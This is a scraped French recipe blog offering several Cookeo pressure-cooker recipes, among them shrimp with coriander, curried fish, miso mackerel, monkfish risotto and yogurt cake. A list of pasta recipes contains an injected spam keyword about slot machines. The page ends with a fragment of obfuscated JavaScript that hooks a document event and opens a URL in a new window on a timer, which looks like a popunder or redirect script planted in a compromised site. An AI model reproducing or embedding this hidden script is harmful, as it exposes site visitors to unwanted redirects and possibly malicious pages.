Je ne sais pas si vous êtes comme moi mais en été des envies de poissons et de crustacés sont très présentes dans ma cuisine plus qu’en hiver . Alors je vous propose cette recette cookeo crevettes coriandre de l’application mon cookeo.

Ingrédients pour 4 personnes.

24 grosses crevettes décortiquées congelées ou fraîche

100 ml  de lait de coco

5 cl de fumet de poisson
1 cuillère à café de purée de coriandre
1/2 jus de citron vert
Piment de Cayenne
Sel et poivre

Préparation

Décortiquez les crevettes si elles sont fraîches.

Ajoutez les crevettes dans la cuve puis le lait de coco, le fumet de poisson, la cuillère à café de purée de coriandre, le jus de citron vert.

Versez le piment de Cayenne. Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 1 mn

Servez chaud

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Vidéos cookeo risotto de lotte

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Recette cookeo filets de poisson au curry

Voici une recette comme je les aime , facile à faire,rapide à réaliser,peu onéreuse et enfin légère .

Ingrédients pour 4 personnes

4 filets de poisson

2 carottes

1 oignon

1 cuillère à soupe de curry

200 ml de lait de coco

1 cuillère à soupe d’huile d’olive

1 cuillère à soupe de moutarde

1 petite boite de tomates pelées

Quelques brins de persil

Préparation

Mode dorer

Versez la cuillère d’huile d’olive dans la cuve et faites revenir les oignons. Ajoutez ensuite les filets de poisson , les carottes coupées en rondelles.

Ouvrez la boite de tomates pelées et ajoutez le contenu dans la cuve .

Versez le lait de coco , saupoudrez de curry.

Ajoutez une cuillère à soupe de moutarde et le persil ciselé.

Cuisson rapide ou cuisson sous pression

Programmez  7 mn

Servez chaud

 
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Voici une recette cookeo maquereaux miso de l’application mon  cookeo . Le miso est un condiment japonais à base de soja au goût salé.

Ingrédients pour 4 personnes.

4 maquereaux entiers coupés en deux

½ cuillère à soupe  de poudre de gingembre

3 cuillères à soupe  de sucre semoule
4 cuillères  à soupe  de vin blanc ou saké
4 cuillères à soupe  de pâte de miso
300 ml  d’eau
Sel et poivre

Préparation

Ajoutez dans la cuve 300 ml d’eau  puis le gingembre,le sucre semoule,le blanc ou le saké,la pâte de miso,le sel et le poivre.

Déposez ensuite les maquereaux coupés en 2 .

Mode cuisson rapide ou cuisson sous pression

Programmez  4 mn

Servez chaud

[youtube https://www.youtube.com/watch?v=PGlbX89lkbc]

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Recette cookeo risotto dés de lotte 

Ingrédients pour 4 personnes

2 tomates

240 g de riz

250 g de dés de lotte

1 cube de bouillon de bœuf

1 petit verre de vin blanc

Concentré de tomates

100 g d’oignons congelés

1 cuillère à soupe d’huile d’olive

200 g de poivrons congelés

200 g de champignons de Paris congelés

Curry

200 ml d’eau

Sel

Poivre

Préparation

Mode dorer

Faites revenir les oignons  et les dés de lotte avec de l’huile d’olive.

Ajoutez les tomates, les champignons, les poivrons

Versez le verre de vin blanc, le riz. Salez et poivrez. Saupoudrez de curry.

Emiettez un cube de bouillon de bœuf dans de l’eau puis recouvrez les ingrédients.

Cuisson rapide ou sous pression

Programmez 6 mn (le temps indiqué sur le paquet de riz divisé par 2)

Quand la cuisson est terminée ajoutez 2 cuillères à café de concentré de tomates et mélangez avant de servir chaud.

[youtube https://www.youtube.com/watch?v=iIwo17_zXMs]
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Recette cookeo poulet ananas maïs

Ingrédients pour 4 personnes.

400 g de poulet, en gros cubes
150 g de lanières de poivron

1 cube de bouillon de bœuf

150 g d’ananas, en gros dés
200 ml  d’eau
80 g de grains de mais, en boîte
150 g de haricots rouges, en boîte
100 g d’oignons  congelés
1  cuillère à soupe d ‘huile d’olive

Préparation

Mode dorer

Faites dorer dans l’huile d’olive les oignons et les morceaux de poulet. Puis ajoutez les lanières de poivrons, l’ananas en morceaux, les haricots rouges et le mais..

Versez l’eau et le cube de bouillon de bœuf émietté ;

Salez et poivrez.

Cuisson sous pression ou cuisson rapide

Programmez 15 mn

Servez chaud

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Recette cookeo purée de pommes de terre au Saint Agur

Ingrédients pour 4 personnes

400 g de pommes de terre coupées en morceaux

Sel

Poivre

250 ml de lait

1 cube de bouillon de bœuf

15 g de Saint Agur

2 cuillères à soupe de crème fraîche

Préparation

Ajoutez les pommes de terre et le lait dans la cuve .

Salez et poivrez.

Ajoutez le cube de bouillon de bœuf .

Cuisson rapide ou sous pression

Programmez 15 mn

Mixez l’ensemble de la préparation

Ajoutez le Saint Agur et la crème fraîche

Servez chaud 

[youtube https://www.youtube.com/watch?v=mdi8XzNJ0y8]
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Recette cookeo spaghettis bourguignonne : la fiche gratuite.Vous pouvez imprimez cette fiche ou créer un PDF en cliquant en haut à droite de cet article.

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[youtube https://www.youtube.com/watch?v=AKjiLXCApIQ]

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Voici dans cet article 10 recettes cookeo de coquillettes.Pour accèder aux recettes cliquez sur le titre de la recette ou sur l’image .

Coquillettes au Boursin

Coquillettes sauce poireaux 

Sauté de porc coquillettes à la moutarde

Coquillettes au poulet express

Boulettes de boeuf et coquillettes aux poivrons 

Coquillettes aux médaillons de saumon

Recette cookeo : coquillettes à la vache qui rit

Coquillettes aux boulettes de boeuf

Mincerettes et coquillettes

spelautomaten

Coquillettes au Saint Agur

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Voici une Recette cookeo diététique filet de saumon aux poireaux.  Cette recette présente 250  calories  et 5 propoints 7 SP  pour les amateurs de recettes weight watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

1000 RECETTES COOKEO ICI

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Voici une Recette cookeo diététique encornets à la tomate.  Cette recette présente 230  calories  et 5 propoints ET 5 SP pour les amateurs de recettes weight watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

1000 RECETTES COOKEO ICI

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Recette cookeo gâteau au yaourt

Ingrédients

1 pot de yaourt

3 pots de farine

2 œufs

2 cuillères à café d’arome vanille

1 pot de crème fraîche

1 pot de sucre

1 sachet de levure chimique

300 ml d’eau

Film alimentaire

Moule 18 cms

Préparation de cette recette cooke gâteau au yaourt

Dans un saladier ajoutez le yaourt, la crème fraîche, le sucre, la farine, les œufs, le sachet de levure et les 2 cuillères à café d’arôme vanille. Beurrez le moule

Versez la préparation dans le moule. Filmez le moule.

Verse 300 ml d’eau dans la cuve et déposez le moule dans le panier vapeur et le panier vapeur dans la cuve.

Cuisson rapide ou cuisson sous pression

Programmez au minimum 30 mn 

Pour la cuisson les avis sont partagés dans la famille . Certains pensent que le gâteau n’est pas assez cuit d’autres pensent le contraire, je vous laisse juge.

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//
[youtube https://www.youtube.com/watch?v=XBJaSS_CUVc]
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Voici une Recette cookeo diététique moules marinières.  Cette recette présente 135  calories  et 3 propoints pour les amateurs de recettes weight watchers.

Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

1000 RECETTES COOKEO ICI

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());